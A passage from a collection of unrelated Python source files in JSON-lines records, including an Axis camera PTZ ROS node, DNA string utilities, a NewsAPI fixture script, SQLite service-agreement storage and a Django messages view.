X[i] = read_data(os.path.join(data_dir, fn))\n\n return [hash(fn) for fn in fns], X\n\n\ndef prepare_data(data_dir, label_fn):\n y = read_labels(label_fn)\n id_map = -np.ones(y['id'].max()+1, dtype='int')\n id_map[y['id'][:, 0]] = np.arange(len(y))\n\n\n ids, X = read_all_data(data_dir)\n _ = id_map[ids]\n assert np.all(_>=0)\n y = y['labels'][id_map[ids]]\n\n return X, y\n\n\nif __name__ == \"__main__\":\n X, y = prepare_data(\"./data/train\", './data/hf_round1_label.txt')","sub_path":"utils/fileutils.py","file_name":"fileutils.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"147071303","text":"from __future__ import division, print_function\n\nimport os\nimport sys\n\nroot = os.getcwd().split('src')[0] + 'src'\nsys.path.append(root)\nfrom utils.platypus.core import Problem\nfrom utils.platypus.types import Real, Integer, Binary\nfrom utils.platypus.algorithms import IBEA\nfrom Models.skeleton import XOMO, POM3\nfrom functools import partial\nfrom pdb import set_trace\n\n\ndef _model_bare(x, model):\n \"\"\" \n Generic model\n\n Note: To prevent redundancies, I pass one of the objectives (violations)\n and the objectives are computed using the dataframe called obj.\n \"\"\"\n if isinstance(model, str):\n if model.lower() == 'xomo':\n model = XOMO()\n elif model.lower() == 'pom' or 'pom':\n model = POM3()\n\n try:\n return model.solve(x)\n except:\n return model.solve(x[:-model.n_obj])\n\n\ndef generator(model):\n if not isinstance(model, str):\n raise TypeError\n\n if model.lower() == 'xomo':\n mdl = XOMO()\n elif model.lower() == 'pom' or 'POM':\n mdl = POM3()\n problem = Problem(mdl.n_dec, mdl.n_obj) # No. indp features, No. of objectives\n problem.indep = mdl.indep\n problem.depen = mdl.depen\n problem.name = model.lower()\n problem.types[:] = [Real(mdl.minMax[key].low, mdl.minMax[key].up) for key in\n mdl.indep]\n problem.function = partial(_model_bare, model=mdl)\n return problem\n\n\ndef _test_generator():\n problem = generator(model=\"XOMO\")\n algorithm = IBEA(problem)\n try:\n algorithm.run(100)\n print('Works!')\n except Exception as e:\n print(\"Test failed!\\n\")\n raise (e)\n # ----- DEBUG -----\n set_trace()\n\n\nif __name__ == \"__main__\":\n _test_generator()\n","sub_path":"src/data/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"399372151","text":"#Author: Julius Jireh B. Vega\n#Created on: March 7, 2016\n#Description: To create various functions that is required for CMSC 128 Programming Assignment\n\n#counts the number of characters that differ in ith position in str1 and str2\ndef getHammingDistance(str1, str2):\n\t#check if arguments are valid\n\tif type(str1) is str and type(str2) is str:\n\t\tif len(str1) != len(str2):\n\t\t\treturn \"Error! String not Equal!\"\n\t\telif len(str1) == 0:\n\t\t\traise ValueError('Empty string arguments of getHammingDistance()!')\n\t\telse:\n\t\t\t#counts the number of characters that differ on ith position\n\t\t\tcount = 0\n\t\t\tfor i in range(0, len(str1)):\n\t\t\t\tif str1[i] != str2[i]:\n\t\t\t\t\tcount = count + 1\n\t\t\treturn count\n\telse:\n\t\traise ValueError('First and second arguments of getHammingDistance() function should be of type string!')\n\n#counts the occurence of pattern in str1\ndef countSubstrPattern(str1, pattern):\n\t#check if arguments are valid\n\tif type(str1) is str and type(pattern) is str:\n\t\tif len(pattern) > len(str1):\n\t\t\treturn 0\n\t\telif len(pattern) == 0 or len(str1) == 0:\n\t\t\traise ValueError('Empty first or second argument/s of countSubstrPattern()!')\n\t\telse:\n\t\t\t#counts the occurence of pattern in string\n\t\t\tcount = 0\n\t\t\tisEqual = True\n\t\t\tfor i in range(0, len(str1)-len(pattern)+1):\n\t\t\t\tisEqual = True\n\t\t\t\tfor j in range(i, i+len(pattern)):\n\t\t\t\t\tif str1[j] != pattern[j-i]:\n\t\t\t\t\t\tisEqual = False\n\t\t\t\tif isEqual:\n\t\t\t\t\tcount = count + 1\n\t\t\t\n\t\t\treturn count\n\telse:\n\t\traise ValueError('First and second arguments of countSubstrPattern() function should be of type string!')\n\n#checks if str1 only uses the character inside the alphabet string\ndef isValidString(str1, alphabet):\n\t#checks if the arguments are valid\n\tif type(str1) is str and type(alphabet) is str:\n\t\t#checks if alphabet string is not empty\n\t\tif len(alphabet) == 0:\n\t\t\traise ValueError('Empty second argument of getHammingDistance()!')\n\t\t\n\t\t#checks if each character in alphabet is unique\n\t\tfor i in range(0, len(alphabet)):\n\t\t\tfor j in range(0, len(alphabet)):\n\t\t\t\tif i == j: continue\n\t\t\t\telif alphabet[i] == alphabet[j]:\n\t\t\t\t\traise ValueError('Second argument of isValidString() should have unique characters!')\n\t\t\n\t\t#checks if str1 used the characters in alphabet\n\t\tisEqual = False\n\t\tfor c in str1:\n\t\t\tisEqual = False\n\t\t\tfor a in alphabet:\n\t\t\t\tif c == a:\n\t\t\t\t\tisEqual = True\n\t\t\tif not isEqual:\n\t\t\t\treturn False\n\t\t\n\t\treturn True\n\telse:\n\t\traise ValueError('First and second arguments of isValidString() function should be of type string!')\n\n#counts the number of Gs and Cs from position 1 to n in str1 and returns the #G-#C\ndef getSkew(str1, n):\n\t#checks if the parameters are valid or not\n\tif type(str1) is str and type(n) is int and n >= 1 and n <= len(str1):\n\t\t#counts the number of G and C in the string from 0 to n\n\t\tcountC = 0\n\t\tcountG = 0\n\t\tfor i in range(0, n):\n\t\t\tif str1[i] =='C':\n\t\t\t\tcountC = countC + 1\n\t\t\telif str1[i] == 'G':\n\t\t\t\tcountG = countG + 1\n\t\t\n\t\treturn countG-countC\n\telse:\n\t\traise ValueError('Exception in getSkew(): type(str1) is str and type(n) is int and n >= 1 and n < len(str1) became False')\n\n#gets the max value of skew of str1 on position n\ndef getMaxSkewN(str1, n):\n\t#checks if the arguments are valid\n\tif type(str1) is str and type(n) is int and n >= 1 and n <= len(str1):\n\t\t#gets the maximum skew of string from 0 to n\n\t\tmaxCount = getSkew(str1, 1)\n\t\tfor i in range(2, n+1):\n\t\t\tcount = getSkew(str1, i)\n\t\t\tif count > maxCount:\n\t\t\t\tmaxCount = count\n\t\t\t\t\n\t\treturn maxCount\n\telse:\n\t\traise ValueError('Exception in getMaxSkewN(): expression \\'type(str1) is str and type(n) is int and n >= 1 and n < len(str1)\\' became False')\n\n#gets the min value of skew of str1 on position n\ndef getMinSkewN(str1, n):\n\tif type(str1) is str and type(n) is int and n >= 1 and n <= len(str1):\n\t\t#gets the minimum skew of string from 0 to n\n\t\tminCount = getSkew(str1, 1)\n\t\tfor i in range(2, n+1):\n\t\t\tcount = getSkew(str1, i)\n\t\t\tif count < minCount:\n\t\t\t\tminCount = count\n\t\t\n\t\treturn minCount\n\telse:\n\t\traise ValueError('Exception in getMinSkewN(): expression \\'type(str1) is str and type(n) is int and n >= 1 and n < len(str1)\\' became False')\n","sub_path":"library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"569672541","text":"# -*- coding: utf-8 -*-\n\nimport ast\nfrom typing import List, Sequence\n\n\ndef normalize_dict_elements(node: ast.Dict) -> Sequence[ast.AST]:\n \"\"\"\n Normalizes ``dict`` elements and enforces consistent order.\n\n We had a problem that some ``dict`` objects might not have some keys.\n\n Example::\n\n some_dict = {**one, **two}\n\n This ``dict`` contains two values and zero keys.\n This function will normalize this structure to use\n values instead of missing keys.\n\n See also:\n https://github.com/wemake-services/wemake-python-styleguide/issues/450\n\n \"\"\"\n elements: List[ast.AST] = []\n for dict_key, dict_value in zip(node.keys, node.values):\n if dict_key is None:\n elements.append(dict_value) # type: ignore\n else:\n elements.append(dict_key)\n return elements\n","sub_path":"wemake_python_styleguide/logic/collections.py","file_name":"collections.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"377464765","text":"'''\nreplace the raw format with the aimed format imgs\n'''\n\nimport os\nimport cv2\nfrom PIL import Image\n \n# 将目标文件夹下所有 指定后缀的文件 全部另存为目标格式\ndef format_trans(src_suffix,dst_suffix,path,save_path):\n\tfor i,filename in enumerate(os.listdir(path)):\n\t\t# print(filename)\n\t\tif os.path.splitext(filename)[1] == src_suffix:\n\t\t\timg = Image.open(path+\"/\"+filename)\n\t\t\timg = img.convert('RGB') # 丢弃透明度通道避免转换出错\n\t\t\timg.save(save_path + '/' + filename.strip(src_suffix) + dst_suffix)\n\t\tprint('\\r Converting {:.2f}%'.format(100*i/len(os.listdir(path))),end='')\n\n\n\n\nif __name__ == '__main__':\n\tpath = r'/py/R2CNN-tensorflow/data/VOCdevkit/VOC2007/JPEGImages-png'\n\tsave_path = r'/py/R2CNN-tensorflow/data/VOCdevkit/VOC2007/JPEGImages'\n\tsrc_suffix = '.png'\n\tdst_suffix = '.jpg'\n\n\tformat_trans(src_suffix,dst_suffix,path,save_path)\n","sub_path":"img_format_trans.py","file_name":"img_format_trans.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"77315175","text":"import re\nimport random\n\nREGEX = re.compile(\"#{(.+[^}])}\") # This regex finds the whole #{random~list~thing}\n\nclass Solve():\n def __init__(self, full, search, fix):\n pass\n\nclass RandomFilter():\n def Pick(self, string):\n\n if \"~\" in string:\n return random.choice(string.split('~'))\n\n return random.choice(string.split(','))\n\n def Process(self, engine, text):\n search = REGEX.search(text)\n value = text\n Has_Randoms = True # A safeguard for breaking the while\n\n if search is None:\n Has_Randoms = False\n return text # exit early if no need to search.\n\n match = REGEX.search(value)\n\n while Has_Randoms:\n\n if match is None: #No more matches, exit out\n Has_Randoms = False\n break\n\n internal = REGEX.search(match.group(1)) #Search inside the capture for another #{}\n\n if internal is not None:\n match = internal # If it has one, set it up as the new match.\n continue # and restart.\n\n value = value.replace( match.group(0), self.Pick(match.group(1)).strip(\"#{\").strip(\"}\") )\n match = REGEX.search(value) # Restart the process\n\n return value\n\n","sub_path":"TagScriptEngine/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"387671920","text":"\n# Copyright 2018 Ocean Protocol Foundation\n# SPDX-License-Identifier: Apache-2.0\n\nimport sqlite3\n\n\ndef record_service_agreement(storage_path, service_agreement_id, did, service_definition_id, price,\n files, start_time,\n status='pending'):\n \"\"\"\n Records the given pending service agreement.\n\n :param storage_path: storage path for the internal db, str\n :param service_agreement_id:\n :param did: DID, str\n :param service_definition_id: identifier of the service inside the asset DDO, str\n :param price: Asset price, int\n :param files:\n :param start_time:\n :param status:\n :return:\n \"\"\"\n conn = sqlite3.connect(storage_path)\n try:\n cursor = conn.cursor()\n cursor.execute(\n '''CREATE TABLE IF NOT EXISTS service_agreements\n (id VARCHAR PRIMARY KEY, did VARCHAR, service_definition_id INTEGER, \n price INTEGER, files VARCHAR, start_time INTEGER, status VARCHAR(10));'''\n )\n cursor.execute(\n 'INSERT OR REPLACE INTO service_agreements VALUES (?,?,?,?,?,?,?)',\n [service_agreement_id, did, service_definition_id, price, files, start_time,\n status],\n )\n conn.commit()\n finally:\n conn.close()\n\n\ndef update_service_agreement_status(storage_path, service_agreement_id, status='pending'):\n \"\"\"\n Update the service agreement status.\n\n :param storage_path: storage path for the internal db, str\n :param service_agreement_id:\n :param status:\n :return:\n \"\"\"\n conn = sqlite3.connect(storage_path)\n try:\n cursor = conn.cursor()\n cursor.execute(\n 'UPDATE service_agreements SET status=? WHERE id=?',\n (status, service_agreement_id),\n )\n conn.commit()\n finally:\n conn.close()\n\n\ndef get_service_agreements(storage_path, status='pending'):\n \"\"\"\n Get service agreements pending to be executed.\n\n :param storage_path: storage path for the internal db, str\n :param status:\n :return:\n \"\"\"\n conn = sqlite3.connect(storage_path)\n try:\n cursor = conn.cursor()\n return [\n row for row in\n cursor.execute(\n '''\n SELECT id, did, service_definition_id, price, files, start_time, status\n FROM service_agreements \n WHERE status=?;\n ''',\n (status,))\n ]\n finally:\n conn.close()\n","sub_path":"squid_py/agreements/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"134354391","text":"#!/usr/bin/env python\n#\n# Basic VAPIX PTZ node, based on documentation here:\n# http://www.axis.com/global/en/support/developer-support/vapix\n\nimport threading\n\nimport rospy\nfrom axis_camera.msg import Axis\nfrom std_msgs.msg import Bool\nfrom dynamic_reconfigure.server import Server\nfrom axis_camera.cfg import PTZConfig\n\nfrom axis_camera.vapix import VAPIX\nfrom axis_camera.position_streaming import PositionStreamingThread\nfrom axis_camera.camera_control import AxisCameraController\n\nStateThread = PositionStreamingThread # deprecated\n\n\nclass AxisPTZ:\n \"\"\"This class is a node to manage the PTZ functions of an Axis PTZ camera. The most of its work is done by\n :py:class:`AxisCameraController ` and this is just a ROS node\n envelope.\n \"\"\"\n\n def __init__(self, hostname, username, password, flip, speed_control, frame_id=\"axis_camera\",\n use_encrypted_password=False, state_publishing_frequency=50, camera_id=1):\n \"\"\"Initialize the PTZ driver and start publishing positional data.\n\n :param hostname: Hostname of the camera (without http://, can be an IP address).\n :type hostname: basestring\n :param username: If login is needed, provide a username here.\n :type username: basestring|None\n :param password: If login is needed, provide a password here.\n :type password: basestring|None\n :param flip: Whether to flip the controls (for ceiling-mounted cameras). Deprecated.\n :type flip: bool\n :param speed_control: Use speed control instead of positional. Deprecated.\n :type speed_control: bool\n :param frame_id: Id of the frame in which positinal data should be published.\n :type frame_id: basestring\n :param use_encrypted_password: Whether to use Plain HTTP Auth (False) or Digest HTTP Auth (True).\n :type use_encrypted_password: bool\n :param state_publishing_frequency: The frequency at which joint states should be published.\n :type state_publishing_frequency: int\n :param camera_id: ID (number) of the camera. Can be 1 to 4.\n :type camera_id: int\n \"\"\"\n\n self._hostname = hostname\n self._camera_id = camera_id\n self._frame_id = frame_id\n\n self._state_publishing_frequency = state_publishing_frequency\n\n self._executing_reconfigure = False\n self._reconfigure_mutex = threading.Lock()\n\n self._api = None\n # autodetect the VAPIX API and connect to it; try it forever\n while self._api is None and not rospy.is_shutdown():\n try:\n self._api = VAPIX.get_api_for_camera(hostname, username, password, camera_id, use_encrypted_password)\n except (IOError, ValueError):\n rospy.loginfo(\n \"Retrying connection to VAPIX on host %s, camera %d in 2 seconds.\" % (hostname, camera_id))\n rospy.sleep(2)\n if rospy.is_shutdown():\n return\n\n if not self._api.has_ptz():\n raise RuntimeError(\"Camera %d on host %s doesn't have a Pan-Tilt-Zoom unit.\" % (self._camera_id, self._hostname))\n\n # Create a controller of the camera\n self._camera_controller = AxisCameraController(self._api, self, flip_vertically=flip, flip_horizontally=flip)\n\n # BACKWARDS COMPATIBILITY LAYER\n self.username = username # deprecated\n self.password = password # deprecated\n self.flip = flip # deprecated\n self.speedControl = speed_control # deprecated\n self.mirror = False # deprecated\n\n self.msg = None # deprecated\n self.cmdString = \"\" # deprecated\n\n self.pub = rospy.Publisher(\"state\", Axis, queue_size=100) # deprecated\n self.command_subscriber = rospy.Subscriber(\"cmd\", Axis, self.cmd, queue_size=100) # deprecated\n self.mirror_subscriber = rospy.Subscriber(\"mirror\", Bool, self.mirrorCallback, queue_size=100) # deprecated\n\n self.srv = Server(PTZConfig, self.callback) # deprecated\n\n # Needs to be after the backwards compatibility setup\n # start the publisher thread\n self._publisher_thread = PositionStreamingThread(self, self._api)\n self.st = self._publisher_thread # deprecated\n self._publisher_thread.start()\n\n # BACKWARDS COMPATIBILITY LAYER\n\n def cmd(self, message):\n \"\"\"Deprecated.\"\"\"\n self.msg = message\n\n self.sanitisePTZCommands()\n\n if self._api.has_capabilities('AbsolutePan', 'AbsoluteTilt', 'AbsoluteZoom'):\n self._camera_controller.set_ptz(message.pan, message.tilt, message.zoom)\n else:\n rospy.loginfo(\"Camera on host %s doesn't support PTZ control.\" % self._hostname)\n\n if self._api.has_capability('AbsoluteFocus'):\n self._camera_controller.set_focus(message.focus, set_also_autofocus=False)\n else:\n rospy.loginfo(\"Camera on host %s doesn't support absolute focus control.\" % self._hostname)\n\n if self._api.has_capability('AutoFocus'):\n if message.focus != self._camera_controller._focus:\n self._camera_controller.set_autofocus(False)\n else:\n self._camera_controller.set_autofocus(message.autofocus)\n else:\n rospy.loginfo(\"Camera on host %s doesn't support autofocus.\" % self._hostname)\n\n if self._api.has_capability('AutoIris'):\n self._camera_controller.set_autoiris(True)\n else:\n rospy.loginfo(\"Camera on host %s doesn't support autoiris.\" % self._hostname)\n\n # there is no capability for brightness\n self._camera_controller.set_brightness(message.brightness)\n\n def adjustForFlippedOrientation(self):\n \"\"\"Deprecated.\"\"\"\n self.msg.tilt = -self.msg.tilt\n if self.speedControl:\n self.msg.pan = -self.msg.pan\n else:\n self.msg.pan = 180.0 - self.msg.pan\n \n def sanitisePTZCommands(self):\n \"\"\"Deprecated.\"\"\"\n if not self.speedControl:\n self.msg.pan = self._api.ptz_limits['Pan'].absolute.crop_value(self.msg.pan)\n self.msg.tilt = self._api.ptz_limits['Tilt'].absolute.crop_value(self.msg.tilt)\n self.msg.zoom = self._api.ptz_limits['Zoom'].absolute.crop_value(self.msg.zoom)\n self.msg.focus = self._api.ptz_limits['Focus'].absolute.crop_value(self.msg.focus)\n self.msg.brightness = self._api.ptz_limits['Brightness'].absolute.crop_value(self.msg.brightness)\n self.msg.iris = self._api.ptz_limits['Iris'].absolute.crop_value(self.msg.iris)\n else:\n self.msg.pan = self._api.ptz_limits['Pan'].velocity.crop_value(self.msg.pan)\n self.msg.tilt = self._api.ptz_limits['Tilt'].velocity.crop_value(self.msg.tilt)\n self.msg.zoom = self._api.ptz_limits['Zoom'].velocity.crop_value(self.msg.zoom)\n self.msg.focus = self._api.ptz_limits['Focus'].velocity.crop_value(self.msg.focus)\n self.msg.brightness = self._api.ptz_limits['Brightness'].velocity.crop_value(self.msg.brightness)\n self.msg.iris = self._api.ptz_limits['Iris'].velocity.crop_value(self.msg.iris)\n\n def sanitisePan(self):\n \"\"\"Deprecated.\"\"\"\n if self.speedControl:\n self.msg.pan = self._api.ptz_limits['Pan'].velocity.crop_value(self.msg.pan)\n else:\n self.msg.pan = self._api.ptz_limits['Pan'].absolute.crop_value(self.msg.pan)\n\n def sanitiseTilt(self):\n \"\"\"Deprecated.\"\"\"\n if self.speedControl:\n self.msg.tilt = self._api.ptz_limits['Tilt'].velocity.crop_value(self.msg.tilt)\n else:\n self.msg.tilt = self._api.ptz_limits['Tilt'].absolute.crop_value(self.msg.tilt)\n\n def sanitiseZoom(self):\n \"\"\"Deprecated.\"\"\"\n if self.speedControl:\n self.msg.zoom = self._api.ptz_limits['Zoom'].velocity.crop_value(self.msg.zoom)\n else:\n self.msg.zoom = self._api.ptz_limits['Zoom'].absolute.crop_value(self.msg.zoom)\n \n def sanitiseFocus(self):\n \"\"\"Deprecated.\"\"\"\n if self.speedControl:\n self.msg.focus = self._api.ptz_limits['Focus'].velocity.crop_value(self.msg.focus)\n else:\n self.msg.focus = self._api.ptz_limits['Focus'].absolute.crop_value(self.msg.focus)\n \n def sanitiseBrightness(self):\n \"\"\"Deprecated.\"\"\"\n if self.speedControl:\n self.msg.brightness = self._api.ptz_limits['Brightness'].velocity.crop_value(self.msg.brightness)\n else:\n self.msg.brightness = self._api.ptz_limits['Brightness'].absolute.crop_value(self.msg.brightness)\n\n def sanitiseIris(self):\n \"\"\"Deprecated.\"\"\"\n if self.msg.iris > 0.000001:\n rospy.logwarn(\"Iris value is read-only.\")\n\n def applySetpoints(self):\n \"\"\"Deprecated.\"\"\"\n \"\"\"Apply the command to the camera using the HTTP API\"\"\"\n self._camera_controller.set_ptz(self.msg.pan, self.msg.tilt, self.msg.zoom)\n self._camera_controller.set_autofocus(self.msg.autofocus)\n if not self.msg.autofocus:\n self._camera_controller.set_focus(self.msg.focus)\n self._camera_controller.set_autoiris(True)\n self._camera_controller.set_brightness(self.msg.brightness)\n\n def createCmdString(self):\n \"\"\"Deprecated.\"\"\"\n \"\"\"Created tje HTTP API string to command PTZ camera\"\"\"\n self.cmdString = '/axis-cgi/com/ptz.cgi?'\n if self.speedControl:\n self.cmdString += 'continuouspantiltmove=%d,%d&' % (int(self.msg.pan), int(self.msg.tilt))\n self.cmdString += 'continuouszoommove=%d&' % self.msg.zoom\n self.cmdString += 'continuousbrightnessmove=%d&' % self.msg.brightness\n # Note that brightness adjustment has no effect for Axis 214PTZ.\n if self.msg.autofocus:\n self.cmdString += 'autofocus=on&'\n else:\n self.cmdString += 'autofocus=off&continuousfocusmove=%d&' % self.msg.focus\n self.cmdString += 'autoiris=on'\n else: # position control:\n self.cmdString += 'pan=%f&tilt=%f&' % (self.msg.pan, self.msg.tilt)\n self.cmdString += 'zoom=%d&' % self.msg.zoom\n self.cmdString += 'brightness=%d&' % self.msg.brightness\n if self.msg.autofocus:\n self.cmdString += 'autofocus=on&'\n else:\n self.cmdString += 'autofocus=off&focus=%d&' % self.msg.focus\n self.cmdString += 'autoiris=on'\n\n def mirrorCallback(self, msg):\n \"\"\"Deprecated.\"\"\"\n '''Command the camera with speed control or position control commands'''\n self.mirror = msg.data\n self._camera_controller.mirror_horizontally = self.mirror\n \n def callback(self, config, level):\n \"\"\"Deprecated.\"\"\"\n #self.speedControl = config.speed_control\n\n if self._executing_reconfigure or (hasattr(self, '_camera_controller') and (self._camera_controller._executing_parameter_update or self._camera_controller._executing_reconfigure)):\n return config\n\n with self._reconfigure_mutex:\n self._executing_reconfigure = True\n\n # create temporary message and fill with data from dynamic reconfigure\n command = Axis()\n command.pan = config.pan\n command.tilt = config.tilt\n command.zoom = config.zoom\n command.focus = config.focus\n command.brightness = config.brightness\n command.autofocus = config.autofocus\n\n # check sanity and apply values\n self.cmd(command)\n\n # read sanitized values and update GUI\n config.pan = command.pan\n config.tilt = command.tilt\n config.zoom = command.zoom\n config.focus = self._camera_controller._focus\n config.brightness = self._camera_controller._brightness\n config.autofocus = self._camera_controller._autofocus\n\n self._executing_reconfigure = False\n\n # update GUI with sanitized values\n return config\n\n\ndef main():\n rospy.init_node(\"axis_ptz_driver\")\n\n arg_defaults = {\n 'hostname': '192.168.0.90',\n 'username': None,\n 'password': None,\n 'flip': False,\n 'speed_control': False,\n 'frame_id': 'axis_camera',\n 'use_encrypted_password': False,\n 'state_publishing_frequency': 50,\n 'camera_id': 1,\n }\n args = read_args_with_defaults(arg_defaults)\n\n # Start the driver\n my_ptz = AxisPTZ(**args)\n\n rospy.spin()\n\n\ndef read_args_with_defaults(arg_defaults):\n \"\"\"Look up parameters starting in the driver's private parameter space, but\n also searching outer namespaces. Defining them in a higher namespace allows\n the axis_ptz.py script to share parameters with the driver.\"\"\"\n args = {}\n for name, val in arg_defaults.iteritems():\n full_name = rospy.search_param(name)\n if full_name is None:\n args[name] = val\n else:\n args[name] = rospy.get_param(full_name, val)\n # resolve frame_id with tf_prefix (unless already absolute)\n if 'frame_id' in args and args['frame_id'][0] != '/': # not absolute?\n tf_prefix = rospy.search_param('tf_prefix')\n prefix_val = ''\n if tf_prefix is not None: # prefix defined?\n prefix_val = rospy.get_param(tf_prefix)\n if prefix_val[0] != '/': # prefix not absolute?\n prefix_val = '/' + prefix_val\n args['frame_id'] = prefix_val + '/' + args['frame_id']\n return args\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"nodes/axis_ptz.py","file_name":"axis_ptz.py","file_ext":"py","file_size_in_byte":13696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"613024983","text":"import pytest\n\n\n@pytest.mark.parametrize('email,is_valid', [\n ('test@test.com', True),\n ('test@test-test.com', True),\n ('test@test.test.com', True),\n ('test+test@test.com', False),\n ('test\\'test@test.com', False),\n])\ndef test_email_column(email, is_valid):\n from orb.core.column_types.string import EmailColumn\n from orb.errors import ColumnValidationError\n email_column = EmailColumn()\n if is_valid:\n assert email_column.validate(email) is is_valid\n else:\n with pytest.raises(ColumnValidationError):\n email_column.validate(email)","sub_path":"tests/unit/test_column_types.py","file_name":"test_column_types.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"174863851","text":"class Dog:\n info = \"Some info\"\n def __init__(self, name, age, color):\n self.name = name\n self.age = age\n self.color = color\n def bark(self,age):\n print(f\"BARK! {age}\")\nmydog = Dog('Ram', 25, \"Black\")\nmydog.bark(10)\n\nmydog.name = \"One name\"\nprint(mydog.name)\nprint(mydog.info)\nprint(Dog.info)\n ","sub_path":"py_class.py","file_name":"py_class.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"424261188","text":"def prime_or_composite(n):\n # prime numbers are greater than 1\n if n==1:\n return False\n for z in range(2,int(n/2)):\n if n%z==0:\n return False\n break\n else:\n return True\n pass\n\nif __name__ == \"__main__\":\n numbers = [1, 2, 10, 31, 47, 89, 101, 103, 97, 187, 981, 19201]\n # If you want to test the efficency of your algorithm add this number to the array above -7\n # If you want to test the efficency of your algorithm add this number to the array above 47055833459\n answers = []\n for number in numbers:\n answers.append(prime_or_composite(number))\n\n for x in range(12):\n if answers[x] == True:\n print(numbers[x], \" is a Prime Number\")\n else:\n print(numbers[x], \"is not a Prime Number\")\n\n\n print(answers)","sub_path":"prime_or_composite.py","file_name":"prime_or_composite.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"398777999","text":"from flask import Blueprint\nfrom app.src.chain_interface.chain_getReputation import *\n\nchain_getReputation = Blueprint('chain_getReputation', __name__)\n\n\n@chain_getReputation.route('//')\ndef api_getReputation(api_name, params):\n\t\"\"\"\n\t查询地址的名誉值,chain_getReputation\n\tcurl http://localhost:15645 -X POST --data '{\"jsonrpc\":\"2.0\",\"method\":\"chain_getReputation\",\"params\":[\"0x8a8e541ddd1272d53729164c70197221a3c27486\"], \"id\": 3}' -H \"Content-Type:application/json\"\n ---\n tags:\n - API_NAME:chain_getByteCode\n parameters:\n - name: \"\"\n in: path\n type: string\n required: true\n description: api_name\n value: 1\n - name:\n in: path\n type: []\n description: 待查询地址\n value: 2\n responses:\n 500:\n description: 返回500表示服务器报错\n 200:\n description: 返回地址对应的名誉值 200 OK\n\t\t\"\"\"\n\tresult = getReputation(api_name, params)\n\treturn result\n\n\n\nif __name__ == '__main__':\n\tapi_name = \"chain_getReputation\"\n\tparams = [\"0x8a8e541ddd1272d53729164c70197221a3c27486\"]\n\tapi_getReputation(api_name, params)\n\n\n\n\n","sub_path":"app/v1/v1_chain_getReputation.py","file_name":"v1_chain_getReputation.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"354290431","text":"from newsapi import NewsApiClient\nimport urllib.request\nimport json\nimport os \nimport datetime\nstarted = datetime.datetime.now()\n\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nnewsapi = NewsApiClient(api_key='4b52745ff76141fca98215fa4db0f9d0')\n\ncategories = [\n ('Политика', 'politic'),\n ('Экономика', 'economic'),\n ('Спорт', 'sport'),\n ('Культура', 'culture'),\n ('Технологии', 'tech'),\n ('Наука', 'science'),\n ('Авто', 'auto')\n]\n\nnews_id = 1\nfixtures_data = []\n\nimages = []\nprint(\"Fetching breaking news... \", end=\"\")\nfor category_id, (name, slug) in enumerate(categories, 1):\n fixtures_data.append({\n \"model\": \"news.category\",\n \"pk\": category_id,\n \"fields\": {\n \"name\": name,\n \"slug\": slug\n }\n })\n\n news = newsapi.get_everything(\n q=name,\n sources='google-news-ru,lenta,rt', \n language='ru')\n\n for item in news['articles']:\n\n if not item['urlToImage']:\n continue\n file_ext = item['urlToImage'].split('.')[-1]\n file_path = 'news_images/{}.{}'.format(news_id, file_ext)\n images.append((item['urlToImage'], os.path.join('/app/static_content/media/', file_path)))\n fixtures_data.append({\n \"model\": \"news.news\",\n \"pk\": news_id,\n \"fields\": {\n \"category_id\": category_id,\n \"title\": item['title'],\n \"content\": item['description'],\n \"datetime\": item['publishedAt'],\n \"image\": file_path\n }\n })\n\n news_id += 1\n \ninitial_data_file = open('initial_data.json', 'w')\ninitial_data_text = json.dumps(fixtures_data, ensure_ascii=False, indent=4)\ninitial_data_file.write(initial_data_text)\ninitial_data_file.close()\n\npool = ThreadPool(5)\npool.map(lambda args: urllib.request.urlretrieve(*args), images)\npool.close()\npool.join()\nprint(\"Done!\")\nprint ((datetime.datetime.now() - started).total_seconds())","sub_path":"backend/apps/news/fixtures/get_news.py","file_name":"get_news.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"578153076","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\nfrom django.template import RequestContext\nfrom guardian.decorators import permission_required_or_403\nfrom .models import MessageThread, Message\nfrom .forms import MessageForm\nfrom js1kg.project.models import OrgAdmin\n\n\n@login_required\ndef messages(request):\n latest_threads = MessageThread.objects.filter(Q(messages__from_user=request.user) | Q(messages__to_user=request.user)).order_by('-messages__send_time')#.distinct('id')\n\n context = RequestContext(request, {\n 'latest_messages': latest_threads,\n })\n return render(request, 'message/messages.html', context)\n\n\n@permission_required_or_403('can_view_message', (MessageThread, 'pk', 'pk'))\n@login_required\ndef message_thread(request, pk):\n thread_id = 